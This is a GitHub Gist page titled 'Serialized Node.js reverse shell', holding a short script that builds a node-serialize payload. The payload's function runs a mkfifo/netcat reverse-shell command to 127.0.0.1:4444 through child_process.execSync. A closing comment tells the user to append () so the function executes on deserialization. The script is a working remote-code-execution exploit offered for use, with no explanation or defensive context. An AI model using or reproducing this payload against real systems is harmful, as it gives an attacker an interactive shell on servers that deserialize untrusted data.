Created
July 17, 2018 10:16
-
-
Save AdityaChaudhary/70bfbd0b0aca84c8ba55a84ac9f5dbc4 to your computer and use it in GitHub Desktop.
Serialized Node.js reverse shell
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var serialize = require('node-serialize'); | |
x = { | |
test : function(){ | |
require('child_process').execSync("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f", function puts(error, stdout, stderr) {}); | |
} | |
}; | |
console.log("Serialized: \n" + serialize.serialize(x)); | |
/* | |
append () after the function closing bracket | |
*/ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment